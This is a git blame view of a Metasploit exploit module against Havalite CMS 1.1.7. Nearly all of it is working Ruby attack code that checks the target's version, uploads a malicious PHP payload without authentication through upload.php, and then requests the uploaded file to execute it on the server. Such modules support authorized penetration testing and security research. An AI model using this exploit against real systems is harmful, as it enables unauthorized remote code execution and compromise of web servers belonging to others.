Files
metasploit-gs/modules/exploits/unix/webapp/havalite_upload_exec.rb
T

132 lines
3.6 KiB
Ruby
Raw Normal View History

2013-06-18 19:00:42 -05:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2013-06-18 19:00:42 -05:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-08-30 16:28:54 -05:00
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
def initialize(info={})
super(update_info(info,
'Name' => "Havalite CMS Arbitary File Upload Vulnerability",
'Description' => %q{
This module exploits a file upload vulnerability found in Havalite CMS 1.1.7, and
possibly prior. Attackers can abuse the upload feature in order to upload a
2017-09-07 21:18:50 -04:00
malicious PHP file without authentication, which results in arbitrary remote code
2013-08-30 16:28:54 -05:00
execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'CWH',
'sinn3r' #Metasploit
],
'References' =>
[
['OSVDB', '94405'],
2013-08-30 16:28:54 -05:00
['EDB', '26243']
],
'Payload' =>
{
'BadChars' => "\x00"
},
'Platform' => %w{ linux php },
2013-08-30 16:28:54 -05:00
'Targets' =>
[
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
],
'Privileged' => false,
'DisclosureDate' => "Jun 17 2013",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to havalite', '/'])
])
2013-08-30 16:28:54 -05:00
end
#
# Checks if target is running HavaLite CMS 1.1.7
# We only flag 1.1.7 as vulnerable, because we don't have enough information from
# the vendor or OSVDB about exactly which ones are really vulnerable.
2013-08-30 16:28:54 -05:00
#
def check
uri = normalize_uri(target_uri.path, 'havalite/')
res = send_request_raw({'uri' => uri})
if not res
2016-02-01 15:12:03 -06:00
vprint_error("Connection timed out")
2013-08-30 16:28:54 -05:00
return Exploit::CheckCode::Unknown
end
js_src = res.body.scan(/<script type="text\/javascript">(.+)<\/script>/im).flatten[0] || ''
version = js_src.scan(/var myVersion = '(.+)';/).flatten[0] || ''
if not version.empty? and version =~ /1\.1\.7/
2016-02-01 15:12:03 -06:00
vprint_status("Version found: #{version}")
2014-01-21 13:03:36 -06:00
return Exploit::CheckCode::Appears
2013-08-30 16:28:54 -05:00
end
2014-01-21 13:03:36 -06:00
Exploit::CheckCode::Safe
2013-08-30 16:28:54 -05:00
end
#
# Uploads our malicious file
#
def upload(base)
p = get_write_exec_payload(:unlink_self=>true)
fname = "#{rand_text_alpha(5)}.php"
data = Rex::MIME::Message.new
data.add_part(p, "application/octet-stream", nil, "form-data; name=\"files[]\"; filename=\"#{fname}\"")
2014-02-10 22:23:23 -06:00
post_data = data.to_s
2013-08-30 16:28:54 -05:00
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(base, 'havalite', 'upload.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
})
if not res
fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading")
elsif res.code.to_i == 404
fail_with(Failure::NotFound, "#{peer} - No upload.php found")
elsif res.body =~ /"error"\:"abort"/
fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}")
end
return fname
end
#
# Executes our uploaded malicious file
#
def exec(base, payload_fname)
res = send_request_raw({
'uri' => normalize_uri(base, 'havalite','tmp', 'files', payload_fname)
})
if res and res.code == 404
fail_with(Failure::NotFound, "#{peer} - Not found: #{payload_fname}")
end
end
def exploit
base = target_uri.path
2016-02-01 15:12:03 -06:00
print_status("Uploading malicious file...")
2013-08-30 16:28:54 -05:00
fname = upload(base)
2016-02-01 15:12:03 -06:00
print_status("Executing #{fname}...")
2013-08-30 16:28:54 -05:00
exec(base, fname)
end
2014-06-17 21:03:18 +02:00
end